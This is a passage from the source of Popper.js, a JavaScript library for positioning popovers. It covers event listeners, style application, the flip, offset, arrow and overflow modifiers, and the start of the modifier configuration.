popper\n * @method\n * @memberof Popper\n */\nfunction destroy() {\n this.state.isDestroyed = true;\n\n // touch DOM only if `applyStyle` modifier is enabled\n if (isModifierEnabled(this.modifiers, 'applyStyle')) {\n this.popper.removeAttribute('x-placement');\n this.popper.style.position = '';\n this.popper.style.top = '';\n this.popper.style.left = '';\n this.popper.style.right = '';\n this.popper.style.bottom = '';\n this.popper.style.willChange = '';\n this.popper.style[getSupportedPropertyName('transform')] = '';\n }\n\n this.disableEventListeners();\n\n // remove the popper if user explicity asked for the deletion on destroy\n // do not use `remove` because IE11 doesn't support it\n if (this.options.removeOnDestroy) {\n this.popper.parentNode.removeChild(this.popper);\n }\n return this;\n}\n\n/**\n * Get the window associated with the element\n * @argument {Element} element\n * @returns {Window}\n */\nfunction getWindow(element) {\n var ownerDocument = element.ownerDocument;\n return ownerDocument ? ownerDocument.defaultView : window;\n}\n\nfunction attachToScrollParents(scrollParent, event, callback, scrollParents) {\n var isBody = scrollParent.nodeName === 'BODY';\n var target = isBody ? scrollParent.ownerDocument.defaultView : scrollParent;\n target.addEventListener(event, callback, { passive: true });\n\n if (!isBody) {\n attachToScrollParents(getScrollParent(target.parentNode), event, callback, scrollParents);\n }\n scrollParents.push(target);\n}\n\n/**\n * Setup needed event listeners used to update the popper position\n * @method\n * @memberof Popper.Utils\n * @private\n */\nfunction setupEventListeners(reference, options, state, updateBound) {\n // Resize event listener on window\n state.updateBound = updateBound;\n getWindow(reference).addEventListener('resize', state.updateBound, { passive: true });\n\n // Scroll event listener on scroll parents\n var scrollElement = getScrollParent(reference);\n attachToScrollParents(scrollElement, 'scroll', state.updateBound, state.scrollParents);\n state.scrollElement = scrollElement;\n state.eventsEnabled = true;\n\n return state;\n}\n\n/**\n * It will add resize/scroll events and start recalculating\n * position of the popper element when they are triggered.\n * @method\n * @memberof Popper\n */\nfunction enableEventListeners() {\n if (!this.state.eventsEnabled) {\n this.state = setupEventListeners(this.reference, this.options, this.state, this.scheduleUpdate);\n }\n}\n\n/**\n * Remove event listeners used to update the popper position\n * @method\n * @memberof Popper.Utils\n * @private\n */\nfunction removeEventListeners(reference, state) {\n // Remove resize event listener on window\n getWindow(reference).removeEventListener('resize', state.updateBound);\n\n // Remove scroll event listener on scroll parents\n state.scrollParents.forEach(function (target) {\n target.removeEventListener('scroll', state.updateBound);\n });\n\n // Reset state\n state.updateBound = null;\n state.scrollParents = [];\n state.scrollElement = null;\n state.eventsEnabled = false;\n return state;\n}\n\n/**\n * It will remove resize/scroll events and won't recalculate popper position\n * when they are triggered. It also won't trigger onUpdate callback anymore,\n * unless you call `update` method manually.\n * @method\n * @memberof Popper\n */\nfunction disableEventListeners() {\n if (this.state.eventsEnabled) {\n cancelAnimationFrame(this.scheduleUpdate);\n this.state = removeEventListeners(this.reference, this.state);\n }\n}\n\n/**\n * Tells if a given input is a number\n * @method\n * @memberof Popper.Utils\n * @param {*} input to check\n * @return {Boolean}\n */\nfunction isNumeric(n) {\n return n !== '' && !isNaN(parseFloat(n)) && isFinite(n);\n}\n\n/**\n * Set the style to the given popper\n * @method\n * @memberof Popper.Utils\n * @argument {Element} element - Element to apply the style to\n * @argument {Object} styles\n * Object with a list of properties and values which will be applied to the element\n */\nfunction setStyles(element, styles) {\n Object.keys(styles).forEach(function (prop) {\n var unit = '';\n // add unit if the value is numeric and is one of the following\n if (['width', 'height', 'top', 'right', 'bottom', 'left'].indexOf(prop) !== -1 && isNumeric(styles[prop])) {\n unit = 'px';\n }\n element.style[prop] = styles[prop] + unit;\n });\n}\n\n/**\n * Set the attributes to the given popper\n * @method\n * @memberof Popper.Utils\n * @argument {Element} element - Element to apply the attributes to\n * @argument {Object} styles\n * Object with a list of properties and values which will be applied to the element\n */\nfunction setAttributes(element, attributes) {\n Object.keys(attributes).forEach(function (prop) {\n var value = attributes[prop];\n if (value !== false) {\n element.setAttribute(prop, attributes[prop]);\n } else {\n element.removeAttribute(prop);\n }\n });\n}\n\n/**\n * @function\n * @memberof Modifiers\n * @argument {Object} data - The data object generated by `update` method\n * @argument {Object} data.styles - List of style properties - values to apply to popper element\n * @argument {Object} data.attributes - List of attribute properties - values to apply to popper element\n * @argument {Object} options - Modifiers configuration and options\n * @returns {Object} The same data object\n */\nfunction applyStyle(data) {\n // any property present in `data.styles` will be applied to the popper,\n // in this way we can make the 3rd party modifiers add custom styles to it\n // Be aware, modifiers could override the properties defined in the previous\n // lines of this modifier!\n setStyles(data.instance.popper, data.styles);\n\n // any property present in `data.attributes` will be applied to the popper,\n // they will be set as HTML attributes of the element\n setAttributes(data.instance.popper, data.attributes);\n\n // if arrowElement is defined and arrowStyles has some properties\n if (data.arrowElement && Object.keys(data.arrowStyles).length) {\n setStyles(data.arrowElement, data.arrowStyles);\n }\n\n return data;\n}\n\n/**\n * Set the x-placement attribute before everything else because it could be used\n * to add margins to the popper margins needs to be calculated to get the\n * correct popper offsets.\n * @method\n * @memberof Popper.modifiers\n * @param {HTMLElement} reference - The reference element used to position the popper\n * @param {HTMLElement} popper - The HTML element used as popper\n * @param {Object} options - Popper.js options\n */\nfunction applyStyleOnLoad(reference, popper, options, modifierOptions, state) {\n // compute reference element offsets\n var referenceOffsets = getReferenceOffsets(state, popper, reference, options.positionFixed);\n\n // compute auto placement, store placement inside the data object,\n // modifiers will be able to edit `placement` if needed\n // and refer to originalPlacement to know the original value\n var placement = computeAutoPlacement(options.placement, referenceOffsets, popper, reference, options.modifiers.flip.boundariesElement, options.modifiers.flip.padding);\n\n popper.setAttribute('x-placement', placement);\n\n // Apply `position` to popper before anything else because\n // without the position applied we can't guarantee correct computations\n setStyles(popper, { position: options.positionFixed ? 'fixed' : 'absolute' });\n\n return options;\n}\n\n/**\n * @function\n * @memberof Modifiers\n * @argument {Object} data - The data object generated by `update` method\n * @argument {Object} options - Modifiers configuration and options\n * @returns {Object} The data object, properly modified\n */\nfunction computeStyle(data, options) {\n var x = options.x,\n y = options.y;\n var popper = data.offsets.popper;\n\n // Remove this legacy support in Popper.js v2\n\n var legacyGpuAccelerationOption = find(data.instance.modifiers, function (modifier) {\n return modifier.name === 'applyStyle';\n }).gpuAcceleration;\n if (legacyGpuAccelerationOption !== undefined) {\n console.warn('WARNING: `gpuAcceleration` option moved to `computeStyle` modifier and will not be supported in future versions of Popper.js!');\n }\n var gpuAcceleration = legacyGpuAccelerationOption !== undefined ? legacyGpuAccelerationOption : options.gpuAcceleration;\n\n var offsetParent = getOffsetParent(data.instance.popper);\n var offsetParentRect = getBoundingClientRect(offsetParent);\n\n // Styles\n var styles = {\n position: popper.position\n };\n\n // floor sides to avoid blurry text\n var offsets = {\n left: Math.floor(popper.left),\n top: Math.floor(popper.top),\n bottom: Math.floor(popper.bottom),\n right: Math.floor(popper.right)\n };\n\n var sideA = x === 'bottom' ? 'top' : 'bottom';\n var sideB = y === 'right' ? 'left' : 'right';\n\n // if gpuAcceleration is set to `true` and transform is supported,\n // we use `translate3d` to apply the position to the popper we\n // automatically use the supported prefixed version if needed\n var prefixedProperty = getSupportedPropertyName('transform');\n\n // now, let's make a step back and look at this code closely (wtf?)\n // If the content of the popper grows once it's been positioned, it\n // may happen that the popper gets misplaced because of the new content\n // overflowing its reference element\n // To avoid this problem, we provide two options (x and y), which allow\n // the consumer to define the offset origin.\n // If we position a popper on top of a reference element, we can set\n // `x` to `top` to make the popper grow towards its top instead of\n // its bottom.\n var left = void 0,\n top = void 0;\n if (sideA === 'bottom') {\n top = -offsetParentRect.height + offsets.bottom;\n } else {\n top = offsets.top;\n }\n if (sideB === 'right') {\n left = -offsetParentRect.width + offsets.right;\n } else {\n left = offsets.left;\n }\n if (gpuAcceleration && prefixedProperty) {\n styles[prefixedProperty] = 'translate3d(' + left + 'px, ' + top + 'px, 0)';\n styles[sideA] = 0;\n styles[sideB] = 0;\n styles.willChange = 'transform';\n } else {\n // othwerise, we use the standard `top`, `left`, `bottom` and `right` properties\n var invertTop = sideA === 'bottom' ? -1 : 1;\n var invertLeft = sideB === 'right' ? -1 : 1;\n styles[sideA] = top * invertTop;\n styles[sideB] = left * invertLeft;\n styles.willChange = sideA + ', ' + sideB;\n }\n\n // Attributes\n var attributes = {\n 'x-placement': data.placement\n };\n\n // Update `data` attributes, styles and arrowStyles\n data.attributes = _extends({}, attributes, data.attributes);\n data.styles = _extends({}, styles, data.styles);\n data.arrowStyles = _extends({}, data.offsets.arrow, data.arrowStyles);\n\n return data;\n}\n\n/**\n * Helper used to know if the given modifier depends from another one.<br />\n * It checks if the needed modifier is listed and enabled.\n * @method\n * @memberof Popper.Utils\n * @param {Array} modifiers - list of modifiers\n * @param {String} requestingName - name of requesting modifier\n * @param {String} requestedName - name of requested modifier\n * @returns {Boolean}\n */\nfunction isModifierRequired(modifiers, requestingName, requestedName) {\n var requesting = find(modifiers, function (_ref) {\n var name = _ref.name;\n return name === requestingName;\n });\n\n var isRequired = !!requesting && modifiers.some(function (modifier) {\n return modifier.name === requestedName && modifier.enabled && modifier.order < requesting.order;\n });\n\n if (!isRequired) {\n var _requesting = '`' + requestingName + '`';\n var requested = '`' + requestedName + '`';\n console.warn(requested + ' modifier is required by ' + _requesting + ' modifier in order to work, be sure to include it before ' + _requesting + '!');\n }\n return isRequired;\n}\n\n/**\n * @function\n * @memberof Modifiers\n * @argument {Object} data - The data object generated by update method\n * @argument {Object} options - Modifiers configuration and options\n * @returns {Object} The data object, properly modified\n */\nfunction arrow(data, options) {\n var _data$offsets$arrow;\n\n // arrow depends on keepTogether in order to work\n if (!isModifierRequired(data.instance.modifiers, 'arrow', 'keepTogether')) {\n return data;\n }\n\n var arrowElement = options.element;\n\n // if arrowElement is a string, suppose it's a CSS selector\n if (typeof arrowElement === 'string') {\n arrowElement = data.instance.popper.querySelector(arrowElement);\n\n // if arrowElement is not found, don't run the modifier\n if (!arrowElement) {\n return data;\n }\n } else {\n // if the arrowElement isn't a query selector we must check that the\n // provided DOM node is child of its popper node\n if (!data.instance.popper.contains(arrowElement)) {\n console.warn('WARNING: `arrow.element` must be child of its popper element!');\n return data;\n }\n }\n\n var placement = data.placement.split('-')[0];\n var _data$offsets = data.offsets,\n popper = _data$offsets.popper,\n reference = _data$offsets.reference;\n\n var isVertical = ['left', 'right'].indexOf(placement) !== -1;\n\n var len = isVertical ? 'height' : 'width';\n var sideCapitalized = isVertical ? 'Top' : 'Left';\n var side = sideCapitalized.toLowerCase();\n var altSide = isVertical ? 'left' : 'top';\n var opSide = isVertical ? 'bottom' : 'right';\n var arrowElementSize = getOuterSizes(arrowElement)[len];\n\n //\n // extends keepTogether behavior making sure the popper and its\n // reference have enough pixels in conjuction\n //\n\n // top/left side\n if (reference[opSide] - arrowElementSize < popper[side]) {\n data.offsets.popper[side] -= popper[side] - (reference[opSide] - arrowElementSize);\n }\n // bottom/right side\n if (reference[side] + arrowElementSize > popper[opSide]) {\n data.offsets.popper[side] += reference[side] + arrowElementSize - popper[opSide];\n }\n data.offsets.popper = getClientRect(data.offsets.popper);\n\n // compute center of the popper\n var center = reference[side] + reference[len] / 2 - arrowElementSize / 2;\n\n // Compute the sideValue using the updated popper offsets\n // take popper margin in account because we don't have this info available\n var css = getStyleComputedProperty(data.instance.popper);\n var popperMarginSide = parseFloat(css['margin' + sideCapitalized], 10);\n var popperBorderSide = parseFloat(css['border' + sideCapitalized + 'Width'], 10);\n var sideValue = center - data.offsets.popper[side] - popperMarginSide - popperBorderSide;\n\n // prevent arrowElement from being placed not contiguously to its popper\n sideValue = Math.max(Math.min(popper[len] - arrowElementSize, sideValue), 0);\n\n data.arrowElement = arrowElement;\n data.offsets.arrow = (_data$offsets$arrow = {}, defineProperty(_data$offsets$arrow, side, Math.round(sideValue)), defineProperty(_data$offsets$arrow, altSide, ''), _data$offsets$arrow);\n\n return data;\n}\n\n/**\n * Get the opposite placement variation of the given one\n * @method\n * @memberof Popper.Utils\n * @argument {String} placement variation\n * @returns {String} flipped placement variation\n */\nfunction getOppositeVariation(variation) {\n if (variation === 'end') {\n return 'start';\n } else if (variation === 'start') {\n return 'end';\n }\n return variation;\n}\n\n/**\n * List of accepted placements to use as values of the `placement` option.<br />\n * Valid placements are:\n * - `auto`\n * - `top`\n * - `right`\n * - `bottom`\n * - `left`\n *\n * Each placement can have a variation from this list:\n * - `-start`\n * - `-end`\n *\n * Variations are interpreted easily if you think of them as the left to right\n * written languages. Horizontally (`top` and `bottom`), `start` is left and `end`\n * is right.<br />\n * Vertically (`left` and `right`), `start` is top and `end` is bottom.\n *\n * Some valid examples are:\n * - `top-end` (on top of reference, right aligned)\n * - `right-start` (on right of reference, top aligned)\n * - `bottom` (on bottom, centered)\n * - `auto-right` (on the side with more space available, alignment depends by placement)\n *\n * @static\n * @type {Array}\n * @enum {String}\n * @readonly\n * @method placements\n * @memberof Popper\n */\nvar placements = ['auto-start', 'auto', 'auto-end', 'top-start', 'top', 'top-end', 'right-start', 'right', 'right-end', 'bottom-end', 'bottom', 'bottom-start', 'left-end', 'left', 'left-start'];\n\n// Get rid of `auto` `auto-start` and `auto-end`\nvar validPlacements = placements.slice(3);\n\n/**\n * Given an initial placement, returns all the subsequent placements\n * clockwise (or counter-clockwise).\n *\n * @method\n * @memberof Popper.Utils\n * @argument {String} placement - A valid placement (it accepts variations)\n * @argument {Boolean} counter - Set to true to walk the placements counterclockwise\n * @returns {Array} placements including their variations\n */\nfunction clockwise(placement) {\n var counter = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : false;\n\n var index = validPlacements.indexOf(placement);\n var arr = validPlacements.slice(index + 1).concat(validPlacements.slice(0, index));\n return counter ? arr.reverse() : arr;\n}\n\nvar BEHAVIORS = {\n FLIP: 'flip',\n CLOCKWISE: 'clockwise',\n COUNTERCLOCKWISE: 'counterclockwise'\n};\n\n/**\n * @function\n * @memberof Modifiers\n * @argument {Object} data - The data object generated by update method\n * @argument {Object} options - Modifiers configuration and options\n * @returns {Object} The data object, properly modified\n */\nfunction flip(data, options) {\n // if `inner` modifier is enabled, we can't use the `flip` modifier\n if (isModifierEnabled(data.instance.modifiers, 'inner')) {\n return data;\n }\n\n if (data.flipped && data.placement === data.originalPlacement) {\n // seems like flip is trying to loop, probably there's not enough space on any of the flippable sides\n return data;\n }\n\n var boundaries = getBoundaries(data.instance.popper, data.instance.reference, options.padding, options.boundariesElement, data.positionFixed);\n\n var placement = data.placement.split('-')[0];\n var placementOpposite = getOppositePlacement(placement);\n var variation = data.placement.split('-')[1] || '';\n\n var flipOrder = [];\n\n switch (options.behavior) {\n case BEHAVIORS.FLIP:\n flipOrder = [placement, placementOpposite];\n break;\n case BEHAVIORS.CLOCKWISE:\n flipOrder = clockwise(placement);\n break;\n case BEHAVIORS.COUNTERCLOCKWISE:\n flipOrder = clockwise(placement, true);\n break;\n default:\n flipOrder = options.behavior;\n }\n\n flipOrder.forEach(function (step, index) {\n if (placement !== step || flipOrder.length === index + 1) {\n return data;\n }\n\n placement = data.placement.split('-')[0];\n placementOpposite = getOppositePlacement(placement);\n\n var popperOffsets = data.offsets.popper;\n var refOffsets = data.offsets.reference;\n\n // using floor because the reference offsets may contain decimals we are not going to consider here\n var floor = Math.floor;\n var overlapsRef = placement === 'left' && floor(popperOffsets.right) > floor(refOffsets.left) || placement === 'right' && floor(popperOffsets.left) < floor(refOffsets.right) || placement === 'top' && floor(popperOffsets.bottom) > floor(refOffsets.top) || placement === 'bottom' && floor(popperOffsets.top) < floor(refOffsets.bottom);\n\n var overflowsLeft = floor(popperOffsets.left) < floor(boundaries.left);\n var overflowsRight = floor(popperOffsets.right) > floor(boundaries.right);\n var overflowsTop = floor(popperOffsets.top) < floor(boundaries.top);\n var overflowsBottom = floor(popperOffsets.bottom) > floor(boundaries.bottom);\n\n var overflowsBoundaries = placement === 'left' && overflowsLeft || placement === 'right' && overflowsRight || placement === 'top' && overflowsTop || placement === 'bottom' && overflowsBottom;\n\n // flip the variation if required\n var isVertical = ['top', 'bottom'].indexOf(placement) !== -1;\n var flippedVariation = !!options.flipVariations && (isVertical && variation === 'start' && overflowsLeft || isVertical && variation === 'end' && overflowsRight || !isVertical && variation === 'start' && overflowsTop || !isVertical && variation === 'end' && overflowsBottom);\n\n if (overlapsRef || overflowsBoundaries || flippedVariation) {\n // this boolean to detect any flip loop\n data.flipped = true;\n\n if (overlapsRef || overflowsBoundaries) {\n placement = flipOrder[index + 1];\n }\n\n if (flippedVariation) {\n variation = getOppositeVariation(variation);\n }\n\n data.placement = placement + (variation ? '-' + variation : '');\n\n // this object contains `position`, we want to preserve it along with\n // any additional property we may add in the future\n data.offsets.popper = _extends({}, data.offsets.popper, getPopperOffsets(data.instance.popper, data.offsets.reference, data.placement));\n\n data = runModifiers(data.instance.modifiers, data, 'flip');\n }\n });\n return data;\n}\n\n/**\n * @function\n * @memberof Modifiers\n * @argument {Object} data - The data object generated by update method\n * @argument {Object} options - Modifiers configuration and options\n * @returns {Object} The data object, properly modified\n */\nfunction keepTogether(data) {\n var _data$offsets = data.offsets,\n popper = _data$offsets.popper,\n reference = _data$offsets.reference;\n\n var placement = data.placement.split('-')[0];\n var floor = Math.floor;\n var isVertical = ['top', 'bottom'].indexOf(placement) !== -1;\n var side = isVertical ? 'right' : 'bottom';\n var opSide = isVertical ? 'left' : 'top';\n var measurement = isVertical ? 'width' : 'height';\n\n if (popper[side] < floor(reference[opSide])) {\n data.offsets.popper[opSide] = floor(reference[opSide]) - popper[measurement];\n }\n if (popper[opSide] > floor(reference[side])) {\n data.offsets.popper[opSide] = floor(reference[side]);\n }\n\n return data;\n}\n\n/**\n * Converts a string containing value + unit into a px value number\n * @function\n * @memberof {modifiers~offset}\n * @private\n * @argument {String} str - Value + unit string\n * @argument {String} measurement - `height` or `width`\n * @argument {Object} popperOffsets\n * @argument {Object} referenceOffsets\n * @returns {Number|String}\n * Value in pixels, or original string if no values were extracted\n */\nfunction toValue(str, measurement, popperOffsets, referenceOffsets) {\n // separate value from unit\n var split = str.match(/((?:\\-|\\+)?\\d*\\.?\\d*)(.*)/);\n var value = +split[1];\n var unit = split[2];\n\n // If it's not a number it's an operator, I guess\n if (!value) {\n return str;\n }\n\n if (unit.indexOf('%') === 0) {\n var element = void 0;\n switch (unit) {\n case '%p':\n element = popperOffsets;\n break;\n case '%':\n case '%r':\n default:\n element = referenceOffsets;\n }\n\n var rect = getClientRect(element);\n return rect[measurement] / 100 * value;\n } else if (unit === 'vh' || unit === 'vw') {\n // if is a vh or vw, we calculate the size based on the viewport\n var size = void 0;\n if (unit === 'vh') {\n size = Math.max(document.documentElement.clientHeight, window.innerHeight || 0);\n } else {\n size = Math.max(document.documentElement.clientWidth, window.innerWidth || 0);\n }\n return size / 100 * value;\n } else {\n // if is an explicit pixel unit, we get rid of the unit and keep the value\n // if is an implicit unit, it's px, and we return just the value\n return value;\n }\n}\n\n/**\n * Parse an `offset` string to extrapolate `x` and `y` numeric offsets.\n * @function\n * @memberof {modifiers~offset}\n * @private\n * @argument {String} offset\n * @argument {Object} popperOffsets\n * @argument {Object} referenceOffsets\n * @argument {String} basePlacement\n * @returns {Array} a two cells array with x and y offsets in numbers\n */\nfunction parseOffset(offset, popperOffsets, referenceOffsets, basePlacement) {\n var offsets = [0, 0];\n\n // Use height if placement is left or right and index is 0 otherwise use width\n // in this way the first offset will use an axis and the second one\n // will use the other one\n var useHeight = ['right', 'left'].indexOf(basePlacement) !== -1;\n\n // Split the offset string to obtain a list of values and operands\n // The regex addresses values with the plus or minus sign in front (+10, -20, etc)\n var fragments = offset.split(/(\\+|\\-)/).map(function (frag) {\n return frag.trim();\n });\n\n // Detect if the offset string contains a pair of values or a single one\n // they could be separated by comma or space\n var divider = fragments.indexOf(find(fragments, function (frag) {\n return frag.search(/,|\\s/) !== -1;\n }));\n\n if (fragments[divider] && fragments[divider].indexOf(',') === -1) {\n console.warn('Offsets separated by white space(s) are deprecated, use a comma (,) instead.');\n }\n\n // If divider is found, we divide the list of values and operands to divide\n // them by ofset X and Y.\n var splitRegex = /\\s*,\\s*|\\s+/;\n var ops = divider !== -1 ? [fragments.slice(0, divider).concat([fragments[divider].split(splitRegex)[0]]), [fragments[divider].split(splitRegex)[1]].concat(fragments.slice(divider + 1))] : [fragments];\n\n // Convert the values with units to absolute pixels to allow our computations\n ops = ops.map(function (op, index) {\n // Most of the units rely on the orientation of the popper\n var measurement = (index === 1 ? !useHeight : useHeight) ? 'height' : 'width';\n var mergeWithPrevious = false;\n return op\n // This aggregates any `+` or `-` sign that aren't considered operators\n // e.g.: 10 + +5 => [10, +, +5]\n .reduce(function (a, b) {\n if (a[a.length - 1] === '' && ['+', '-'].indexOf(b) !== -1) {\n a[a.length - 1] = b;\n mergeWithPrevious = true;\n return a;\n } else if (mergeWithPrevious) {\n a[a.length - 1] += b;\n mergeWithPrevious = false;\n return a;\n } else {\n return a.concat(b);\n }\n }, [])\n // Here we convert the string values into number values (in px)\n .map(function (str) {\n return toValue(str, measurement, popperOffsets, referenceOffsets);\n });\n });\n\n // Loop trough the offsets arrays and execute the operations\n ops.forEach(function (op, index) {\n op.forEach(function (frag, index2) {\n if (isNumeric(frag)) {\n offsets[index] += frag * (op[index2 - 1] === '-' ? -1 : 1);\n }\n });\n });\n return offsets;\n}\n\n/**\n * @function\n * @memberof Modifiers\n * @argument {Object} data - The data object generated by update method\n * @argument {Object} options - Modifiers configuration and options\n * @argument {Number|String} options.offset=0\n * The offset value as described in the modifier description\n * @returns {Object} The data object, properly modified\n */\nfunction offset(data, _ref) {\n var offset = _ref.offset;\n var placement = data.placement,\n _data$offsets = data.offsets,\n popper = _data$offsets.popper,\n reference = _data$offsets.reference;\n\n var basePlacement = placement.split('-')[0];\n\n var offsets = void 0;\n if (isNumeric(+offset)) {\n offsets = [+offset, 0];\n } else {\n offsets = parseOffset(offset, popper, reference, basePlacement);\n }\n\n if (basePlacement === 'left') {\n popper.top += offsets[0];\n popper.left -= offsets[1];\n } else if (basePlacement === 'right') {\n popper.top += offsets[0];\n popper.left += offsets[1];\n } else if (basePlacement === 'top') {\n popper.left += offsets[0];\n popper.top -= offsets[1];\n } else if (basePlacement === 'bottom') {\n popper.left += offsets[0];\n popper.top += offsets[1];\n }\n\n data.popper = popper;\n return data;\n}\n\n/**\n * @function\n * @memberof Modifiers\n * @argument {Object} data - The data object generated by `update` method\n * @argument {Object} options - Modifiers configuration and options\n * @returns {Object} The data object, properly modified\n */\nfunction preventOverflow(data, options) {\n var boundariesElement = options.boundariesElement || getOffsetParent(data.instance.popper);\n\n // If offsetParent is the reference element, we really want to\n // go one step up and use the next offsetParent as reference to\n // avoid to make this modifier completely useless and look like broken\n if (data.instance.reference === boundariesElement) {\n boundariesElement = getOffsetParent(boundariesElement);\n }\n\n var boundaries = getBoundaries(data.instance.popper, data.instance.reference, options.padding, boundariesElement, data.positionFixed);\n options.boundaries = boundaries;\n\n var order = options.priority;\n var popper = data.offsets.popper;\n\n var check = {\n primary: function primary(placement) {\n var value = popper[placement];\n if (popper[placement] < boundaries[placement] && !options.escapeWithReference) {\n value = Math.max(popper[placement], boundaries[placement]);\n }\n return defineProperty({}, placement, value);\n },\n secondary: function secondary(placement) {\n var mainSide = placement === 'right' ? 'left' : 'top';\n var value = popper[mainSide];\n if (popper[placement] > boundaries[placement] && !options.escapeWithReference) {\n value = Math.min(popper[mainSide], boundaries[placement] - (placement === 'right' ? popper.width : popper.height));\n }\n return defineProperty({}, mainSide, value);\n }\n };\n\n order.forEach(function (placement) {\n var side = ['left', 'top'].indexOf(placement) !== -1 ? 'primary' : 'secondary';\n popper = _extends({}, popper, check[side](placement));\n });\n\n data.offsets.popper = popper;\n\n return data;\n}\n\n/**\n * @function\n * @memberof Modifiers\n * @argument {Object} data - The data object generated by `update` method\n * @argument {Object} options - Modifiers configuration and options\n * @returns {Object} The data object, properly modified\n */\nfunction shift(data) {\n var placement = data.placement;\n var basePlacement = placement.split('-')[0];\n var shiftvariation = placement.split('-')[1];\n\n // if shift shiftvariation is specified, run the modifier\n if (shiftvariation) {\n var _data$offsets = data.offsets,\n reference = _data$offsets.reference,\n popper = _data$offsets.popper;\n\n var isVertical = ['bottom', 'top'].indexOf(basePlacement) !== -1;\n var side = isVertical ? 'left' : 'top';\n var measurement = isVertical ? 'width' : 'height';\n\n var shiftOffsets = {\n start: defineProperty({}, side, reference[side]),\n end: defineProperty({}, side, reference[side] + reference[measurement] - popper[measurement])\n };\n\n data.offsets.popper = _extends({}, popper, shiftOffsets[shiftvariation]);\n }\n\n return data;\n}\n\n/**\n * @function\n * @memberof Modifiers\n * @argument {Object} data - The data object generated by update method\n * @argument {Object} options - Modifiers configuration and options\n * @returns {Object} The data object, properly modified\n */\nfunction hide(data) {\n if (!isModifierRequired(data.instance.modifiers, 'hide', 'preventOverflow')) {\n return data;\n }\n\n var refRect = data.offsets.reference;\n var bound = find(data.instance.modifiers, function (modifier) {\n return modifier.name === 'preventOverflow';\n }).boundaries;\n\n if (refRect.bottom < bound.top || refRect.left > bound.right || refRect.top > bound.bottom || refRect.right < bound.left) {\n // Avoid unnecessary DOM access if visibility hasn't changed\n if (data.hide === true) {\n return data;\n }\n\n data.hide = true;\n data.attributes['x-out-of-boundaries'] = '';\n } else {\n // Avoid unnecessary DOM access if visibility hasn't changed\n if (data.hide === false) {\n return data;\n }\n\n data.hide = false;\n data.attributes['x-out-of-boundaries'] = false;\n }\n\n return data;\n}\n\n/**\n * @function\n * @memberof Modifiers\n * @argument {Object} data - The data object generated by `update` method\n * @argument {Object} options - Modifiers configuration and options\n * @returns {Object} The data object, properly modified\n */\nfunction inner(data) {\n var placement = data.placement;\n var basePlacement = placement.split('-')[0];\n var _data$offsets = data.offsets,\n popper = _data$offsets.popper,\n reference = _data$offsets.reference;\n\n var isHoriz = ['left', 'right'].indexOf(basePlacement) !== -1;\n\n var subtractLength = ['top', 'left'].indexOf(basePlacement) === -1;\n\n popper[isHoriz ? 'left' : 'top'] = reference[basePlacement] - (subtractLength ? popper[isHoriz ? 'width' : 'height'] : 0);\n\n data.placement = getOppositePlacement(placement);\n data.offsets.popper = getClientRect(popper);\n\n return data;\n}\n\n/**\n * Modifier function, each modifier can have a function of this type assigned\n * to its `fn` property.<br />\n * These functions will be called on each update, this means that you must\n * make sure they are performant enough to avoid performance bottlenecks.\n *\n * @function ModifierFn\n * @argument {dataObject} data - The data object generated by `update` method\n * @argument {Object} options - Modifiers configuration and options\n * @returns {dataObject} The data object, properly modified\n */\n\n/**\n * Modifiers are plugins used to alter the behavior of your poppers.<br />\n * Popper.js uses a set of 9 modifiers to provide all the basic functionalities\n * needed by the library.\n *\n * Usually you don't want to override the `order`, `fn` and `onLoad` props.\n * All the other properties are configurations that could be tweaked.\n * @namespace modifiers\n */\nvar modifiers = {\n /**\n * Modifier used to shift the popper on the start or end of its reference\n * element.<br />\n * It will read the variation of the `placement` property.<br />\n * It can be one either `-end` or `-start`.\n * @memberof modifiers\n * @inner\n */\n shift: {\n /** @prop {number} order=100 - Index used to define the order of execution */\n order: 100,\n /** @prop {Boolean} enabled=true - Whether the modifier is enabled or not */\n enabled: true,\n /** @prop {ModifierFn} */\n fn: shift\n },\n\n /**\n * The `offset` modifier can shift your popper on both its axis.\n *\n * It accepts the following units:\n * - `px` or unitless, interpreted as pixels\n * - `%` or `%r`, percentage relative to the length of the reference element\n * - `%p`, percentage relative to the length of the popper element\n * - `vw`, CSS viewport width unit\n * - `vh`, CSS viewport height unit\n *\n * For length is intended the main axis relative to the placement of the popper.<br />\n * This means that if the placement is `top` or `bottom`, the length will be the\n * `width`. In case of `left` or `right`, it will be the height.\n *\n * You can provide a single value (as `Number` or `String`), or a pair of values\n * as `String` divided by a comma or one (or more) white spaces.<br />\n * The latter is a deprecated method because it leads to confusion and will be\n * removed in v2.<br />\n * Additionally, it accepts additions and subtractions between different units.\n * Note that multiplications and divisions aren't supported.\n *\n * Valid examples are:\n * ```\n * 10\n * '10%'\n * '10, 10'\n * '10%, 10'\n * '10 + 10%'\n * '10 - 5vh + 3%'\n * '-10px + 5vh, 5px - 6%'\n * ```\n * > **NB**: If you desire to apply offsets to your poppers in a way that may make them overlap\n * > with their reference element, unfortunately, you will have to disable the `flip` modifier.\n * > More on this [reading this issue](https://github.com/FezVrasta/popper.js/issues/373)\n *\n * @memberof modifiers\n * @inner\n */\n offset: {\n /** @prop {number} order=200 - Index used to define the order of execution */\n order: 200,\n /** @prop {Boolean} enabled=true - Whether the modifier is enabled or not */\n enabled: true,\n /** @prop {ModifierFn} */\n fn: offset,\n /** @prop {Number|String} offset=0\n * The offset value as described in the modifier description\n */\n offset: 0\n },\n\n /**\n * Modifier used to prevent the popper from being positioned outside the boundary.\n *\n * An scenario exists where the reference itself is not within the boundaries.<br />\n * We can say it has \"escaped the boundaries\" — or just \"escaped\".<br />\n * In this case we need to decide whether the popper should either:\n *\n * - detach from the reference and remain \"trapped\" in the boundaries, or\n * - if it should ignore the boundary and \"escape with its reference\"\n *\n * When `escapeWithReference` is set to`true` and reference is completely\n * outside its boundaries, the popper will overflow (or completely leave)\n * the boundaries in order to remain attached to the edge of the reference.\n *\n * @memberof modifiers\n * @inner\n */\n preventOverflow: {\n /** @prop {number} order=300 - Index used to define the order of execution */\n order: 300,\n /** @prop {Boolean} enabled=true - Whether the modifier is enabled or not */\n enabled: true,\n /** @prop {ModifierFn} */\n fn: preventOverflow,\n /**\n * @prop {Array} [priority=['left','right','top','bottom']]\n * Popper will try to prevent overflow following these priorities by default,\n * then, it could overflow on the left and on top of the `boundariesElement`\n */\n priority: ['left', 'right', 'top', 'bottom'],\n /**\n * @prop {number} padding=5\n * Amount of pixel used to define a minimum distance between the boundaries\n * and the popper this makes sure the popper has always a little padding\n * between the edges of its container\n */\n padding: 5,\n 